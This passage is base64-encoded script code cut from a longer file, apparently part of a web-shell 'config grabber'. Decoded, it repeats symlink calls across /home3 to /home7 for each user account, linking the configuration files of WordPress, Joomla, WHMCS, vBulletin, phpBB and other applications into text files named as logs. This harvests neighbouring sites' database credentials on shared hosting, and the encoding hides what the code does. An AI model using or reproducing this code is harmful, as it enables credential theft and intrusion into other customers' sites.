LnR4dCcpOwpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTItbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+Sm9vbWxhMy1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG0xLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG0yLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG0zLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTQtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG01LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG02LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG03LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htOC1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTktbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywka29sYS4nfn41LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywka29sYS4nfn40LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLid+fmludmlzaW8tbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nfn43LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJGtvbGEuJ35+OC1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLid+fm1rLXBvcnRhbGUxLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRrb2xhLid+fjEyLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRrb2xhLid+flNtZi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJGtvbGEuJ35+cGhwYmIzLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJ35+aW5maW5pdHktbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjEtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjItbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjMtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjQtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLid+flBocGJiMS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+UGhwYmIyLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nfn5Xb3JkcHJlc3MxLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLid+fldvcmRwcmVzczItbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGExLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGEyLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTMtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMy1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG00LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNy1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTgtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG05LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJ35+NS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJGtvbGEuJ35+NC1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywka29sYS4nfn5pbnZpc2lvLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJ35+Ny1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRrb2xhLid+fjgtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywka29sYS4nfn5tay1wb3J0YWxlMS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywka29sYS4nfn4xMi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywka29sYS4nfn5TbWYtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRrb2xhLid+fnBocGJiMy1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLid+fmluZmluaXR5LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW4xLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW4yLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW4zLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW40LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nfn5QaHBiYjEtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+flBocGJiMi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJ35+V29yZHByZXNzMS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nfn5Xb3JkcHJlc3MyLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+Sm9vbWxhMS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+Sm9vbWxhMi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGEzLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTEtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTItbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTMtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNC1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTUtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTYtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTctbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG04LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htOS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRrb2xhLid+fjUtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLid+fjQtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGtvbGEuJ35+aW52aXNpby1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLid+fjctbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nfn44LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGtvbGEuJ35+bWstcG9ydGFsZTEtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJ35+MTItbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJGtvbGEuJ35+U21mLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nfn5waHBiYjMtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nfn5pbmZpbml0eS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluMS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluMi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluMy1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluNC1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGtvbGEuJ35+UGhwYmIxLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn5QaHBiYjItbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLid+fldvcmRwcmVzczEtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJ35+V29yZHByZXNzMi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTEtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTItbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+Sm9vbWxhMy1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG0xLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG0yLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG0zLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTQtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG01LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG02LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG03LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htOC1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTktbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywka29sYS4nfn41LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywka29sYS4nfn40LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLid+fmludmlzaW8tbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nfn43LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJGtvbGEuJ35+OC1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLid+fm1rLXBvcnRhbGUxLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRrb2xhLid+fjEyLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRrb2xhLid+flNtZi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJGtvbGEuJ35+cGhwYmIzLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJ35+aW5maW5pdHktbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjEtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjItbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjMtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjQtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLid+flBocGJiMS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+UGhwYmIyLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nfn5Xb3JkcHJlc3MxLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLid+fldvcmRwcmVzczItbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGExLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGEyLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTMtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMy1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG00LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNy1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTgtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG05LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJ35+NS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJGtvbGEuJ35+NC1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywka29sYS4nfn5pbnZpc2lvLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJ35+Ny1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRrb2xhLid+fjgtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywka29sYS4nfn5tay1wb3J0YWxlMS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywka29sYS4nfn4xMi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywka29sYS4nfn5TbWYtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRrb2xhLid+fnBocGJiMy1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLid+fmluZmluaXR5LWxvZy50eHQnKTsKfQppZiAoJEVOVnsnUkVRVU